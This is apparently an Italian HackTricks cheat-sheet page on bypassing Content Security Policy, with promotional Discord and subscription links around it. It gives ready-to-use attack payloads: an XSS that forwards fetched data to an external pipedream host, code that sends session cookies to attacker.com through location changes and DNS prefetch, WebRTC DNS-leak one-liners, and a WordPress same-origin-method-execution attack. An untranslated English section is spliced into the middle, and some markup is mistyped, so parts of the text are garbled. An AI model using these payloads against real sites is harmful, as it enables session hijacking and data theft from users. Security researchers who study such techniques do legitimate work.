Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Tecnologie Non Sicure per Bypassare il CSP

Sovraccarico del buffer di risposta PHP

PHP è noto per bufferizzare la risposta a 4096 byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo abbastanza dati negli avvisi, la risposta verrà inviata prima dell'intestazione CSP, causando l'ignoranza dell'intestazione.
Quindi, la tecnica consiste fondamentalmente nel riempire il buffer di risposta con avvisi in modo che l'intestazione CSP non venga inviata.

Idea da questo writeup.

Riscrivi la Pagina di Errore

Da questo writeup sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME è una tecnica che sfrutta un XSS (o XSS altamente limitato) in un endpoint di una pagina per abusare di altri endpoint della stessa origine. Questo viene fatto caricando l'endpoint vulnerabile da una pagina dell'attaccante e quindi aggiornando la pagina dell'attaccante all'endpoint reale nella stessa origine che si desidera abusare. In questo modo, l'endpoint vulnerabile può utilizzare l'oggetto opener nel payload per accedere al DOM del vero endpoint da abusare. Per ulteriori informazioni, controlla:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Inoltre, wordpress ha un endpoint JSONP in /wp-json/wp/v2/users/1?_jsonp=data che rifletterà i dati inviati in output (con la limitazione di solo lettere, numeri e punti).

Un attaccante può abusare di quell'endpoint per generare un attacco SOME contro WordPress e inserirlo all'interno di <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> nota che questo script verrà caricato perché è consentito da 'self'. Inoltre, e poiché WordPress è installato, un attaccante potrebbe abusare dell'attacco SOME attraverso l'endpoint di callback vulnerabile che bypassa il CSP per concedere più privilegi a un utente, installare un nuovo plugin...
Per ulteriori informazioni su come eseguire questo attacco, controlla https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypass di Esfiltrazione CSP

Se c'è un CSP rigoroso che non ti permette di interagire con server esterni, ci sono alcune cose che puoi sempre fare per esfiltrare le informazioni.

Location

Potresti semplicemente aggiornare la posizione per inviare al server dell'attaccante le informazioni segrete:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Tag meta

Potresti reindirizzare iniettando un tag meta (questo è solo un reindirizzamento, non farà trapelare il contenuto)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Per caricare le pagine più velocemente, i browser risolvono in anticipo i nomi host negli indirizzi IP e li memorizzano nella cache per utilizzi successivi.
Puoi indicare a un browser di risolvere in anticipo un nome host con: <link reol="dns-prefetch" href="something.com">

Potresti abusare di questo comportamento per esfiltrare informazioni sensibili tramite richieste DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Bypassing Content Security Policy (CSP)

Introduction

Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific page. However, in some cases, CSP can be misconfigured or not implemented properly, leaving room for bypassing the security controls.

Bypass Techniques

1. Inline Script Execution

One common way to bypass CSP is by executing inline scripts. If a website allows inline scripts using 'unsafe-inline' directive in the CSP header, an attacker can inject malicious code directly into the HTML document.

2. External Script Execution

Another technique involves loading external scripts from whitelisted domains. By exploiting a whitelisted domain that allows script execution, an attacker can load and execute malicious scripts on the target page.

3. Data: URI Scheme

Using the data: URI scheme, an attacker can embed external resources directly into the HTML document. By encoding the resource in Base64 format, the attacker can bypass CSP restrictions and load the resource as if it were an inline script or style.

4. Script Gadgets

Script gadgets are small pieces of code that can be used to bypass CSP restrictions. These gadgets can manipulate the behavior of the CSP rules to execute arbitrary code on the target page.

Conclusion

Content Security Policy is a powerful security mechanism that can help protect web applications from various types of attacks. However, it is essential for web developers to configure CSP properly to ensure its effectiveness. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities before they can be exploited by malicious actors.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Per evitare che ciò accada, il server può inviare l'intestazione HTTP:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Apparentemente, questa tecnica non funziona nei browser headless (bot) {% endhint %}

WebRTC

Su diverse pagine si può leggere che WebRTC non controlla la politica connect-src del CSP.

In realtà è possibile leak informazioni utilizzando una richiesta DNS. Dai un'occhiata a questo codice:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Un'altra opzione:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Verifica delle Politiche CSP Online

• https://csp-evaluator.withgoogle.com/
• https://cspvalidator.org/

Creazione Automatica di CSP

https://csper.io/docs/generating-content-security-policy

Riferimenti

• https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
• https://lcamtuf.coredump.cx/postxss/
• https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
• https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
• https://www.youtube.com/watch?v=MCyPuOWs3dg
• https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
• https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/

​

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!

Approfondimenti sull'Hacking
Coinvolgiti con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale
Resta aggiornato sul mondo dell'hacking ad alta velocità attraverso notizie e approfondimenti in tempo reale

Ultime Novità
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

• Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
• Ottieni il merchandising ufficiale di PEASS & HackTricks
• Scopri The PEASS Family, la nostra collezione di esclusive NFT
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
• Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.